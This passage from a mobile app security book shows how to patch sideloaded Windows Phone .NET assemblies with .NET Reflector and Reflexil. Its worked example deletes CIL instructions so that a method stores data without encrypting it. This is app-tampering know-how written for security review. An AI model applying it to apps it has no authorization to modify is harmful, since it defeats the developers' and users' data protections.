In these cases you can make modifications to the .NET assemblies to achieve your goal. Two very useful tools that work in conjunction together are .NET reflector and Reflexil, both of which were mentioned briefly in Chapter 10. .NET reflector is a general-purpose tool for converting a .NET assembly’s Common Intermediate Language (CIL) code to a form that is easily readable—usually C#.
Reflexil is a plug-in for .NET reflector that allows .NET assemblies to be modified and then saved with their new patches applied.
You can obtain both of these tools from their respective authors’ websites: .NET reflector at http://www.red-gate.com/products/dotnet-development/reflector/
, and Reflexil at http://reflexil.net/
.
Note that you’ll only be able to patch applications that have been sideloaded, because those applications do not require valid signatures. Attempts to patch and then replace Original Equipment Manufacturer (OEM) apps will fail because modification of assemblies or binaries will invalidate their signatures. Modifying a binary or assembly, repackaging it into an XAP or APPX file, and then sideloading it is feasible, however.
To gain access to .NET binaries that are installed on your device, you obviously need full filesystem access to the device, which we discussed how to obtain in Chapter 10.
Each application’s binaries are located at C:\Data\Programs\{GUID}\Install
, where {GUID}
is the app’s unique identifier. In Windows Phone 8, assemblies will be DLL files, whereas in Windows 8.1 interesting binaries may be DLL files and EXE files.
After they’re patched using Reflexil or another tool, you can copy hacked assemblies back onto the device’s filesystem and despite being modified, they will execute as expected.
To serve as an example, consider an application that stores data that originated from an Internet server speaking some unknown binary protocol. The data has been parsed and processed into something useful to the app. At this point, we know from the reversed C# code that the app stores the data in an AES-encrypted form in a file in its local folder. The key used to encrypt the data was derived from data that was received from the server via this completely unknown protocol.
To get the plaintext form of the data written to disk, reverse engineering the proprietary protocol that’s being used and studying how the app is parsing the data received presumably would be necessary in any case. This annoying and time-consuming obstacle is one most researchers could ideally do without.
In this sort of scenario, your first thought is to simply patch the application so that the parsed and processed data is never encrypted in the first place, because this will give you what you want: the data in the file in its plaintext form.
Through initial inspection of the application in .NET reflector, there is an obviously named method that is disassembled to the following:
public int EncryptAndSaveData(byte[] dataBlob, byte[] key)
{
dataBlob = this.EncryptBlob(dataBlob, key);
this.SaveDataBlob(dataBlob);
return 0;
}
Figure 11.15 shows the output in .NET reflector.
It’s pretty clear what this code does. It appears to call EncryptBlob()
, and then save the encrypted data by calling the SaveDataBlob()
method.
It’s quite evident from the recovered code that if the call to EncryptBlob()
were simply removed and dataBlob
were just set to a reference of itself, then the interesting plaintext data would be saved to the file instead of encrypted data, which you want to avoid dealing with.
The next step to take in figuring out how you can indeed remove the call to EncryptBlob()
involves taking a look at the CIL code that Reflexil nicely recovers for you. To do this, go to Tools, and click Reflexil. Figure 11.16 shows the CIL that Reflexil has recovered.
Those familiar with assembly and other intermediate opcode languages (such as for Java) will probably notice the CIL code’s similarity.
You can fairly easily tell which parts of the disassembly are what you are looking for due to informative method names. Let’s analyze what’s going on in CIL opcode terms:
ldarg.1
loads the method argument at index 1 (dataBlob
) onto the stack.ldarg.2
loads the method argument at index 2 (key
) onto the stack.On line 04, the EncryptBlob()
function is called.
These first three lines are responsible for pushing dataBlob
and key
to the stack to act as arguments to EncryptBlob()
, which is called on line 04. Note that the arguments are pushed in the logical order: dataBlob
first, and key
second—contrary to the way call stacks operate in many native environments.
starg.s dataBlob
tries to save the reference on top of the stack into dataBlob
—that is, a reference to the encrypted data that is being returned by EncryptBlob()
.It may quite correctly occur to you that if the EncryptBlob()
call is somehow deleted and a reference to the original plaintext dataBlob
contents is at the top of the stack, the instruction at line 05 will quite nicely set dataBlob
to a reference of its own original contents; that is, dataBlob = dataBlob
.
To do that, just get rid of the instruction that pushes key
to the stack, and remove the call to EncryptBlob()
. That way, the starg.s
instruction on line 05 will simply set dataBlob
with dataBlob
(reference-wise)— that is to say, ldarg.1
is the only push you’re interested in before the call
.
Let’s test out this theory. You don’t even need to insert NOP
instructions. Reflexil allows you to simply delete unwanted instructions from the CIL disassembly. Right-click line 01 and click Delete, and then do the same for line 03 and line 04. (See Figure 11.17.)
After deleting ldarg.0
, ldarg.2
, and call EncryptBlob()
, you’re left with only the instructions you want; that is, dataBlob = dataBlob; SaveDataBlob(dataBlob);
. (See Figure 11.18.)
Save the changes you’ve made to the assembly by right-clicking on the left-hand side in the assembly explorer; in the Reflexil submenu, click Save As, and save the file with a unique filename. Right-click the assembly and click Close Assembly.
Opening the patched assembly, as shown in Figure 11.19, you can see whether the changes came out as you wanted them to.
Success! The patched assembly now clearly bypasses the undesired crypto code path.
In patching exercises where you need to insert new instructions or edit existing instructions, you can access the Edit and Create New functions by right-clicking Reflexil’s CIL viewer. Each function provides a pull-down menu of instructions and also allows the user to type in instructions by hand. (See Figure 11.20.)
Patching .NET assemblies by hand can be quite tricky, given that you must consider stack states and other aspects to avoid crashes.
When methods are more complicated and keeping track of stack states and so on is proving difficult, alternatives exist to patching solely by hand. In fact, Reflexil has some support for patching assemblies with C# code. That is, users can write code in C#, and Reflexil will compile it to CIL code to allow app patching.
To access this functionality right-click in Reflexil’s CIL display, and then click Replace All With Code.
At this point, you’ll be greeted by a C# code editor which will allow you to modify the app’s code. After you’re done, click Compile, and assuming the compile goes well, clicking OK will exit the editor and patch the assembly with the newly generated CIL code. You can save the hacked assembly as before. (See Figure 11.21.)
At this point, in the context of a real app, you would copy the modified assembly onto the device in place of the original (see Chapter 10) and rerun the app as normal, with its new modifications.
This hopefully serves as an example, and not an unrealistic one in many cases. More complex cases may require further study on CIL, its instructions, and what kind of operands each instruction expects. Detailed information on CIL and its opcodes are available online, such as at this resource: http://www.codeproject .com/Articles/362076/Understanding-Common-Intermediate-Language-CIL.
This chapter aimed to provide a general introduction to identifying vulnerabilities by code review and manual testing in Windows Phone apps. When carrying out Windows Phone app reviews, the following will hopefully serve as a checklist for common vulnerability classes to check for: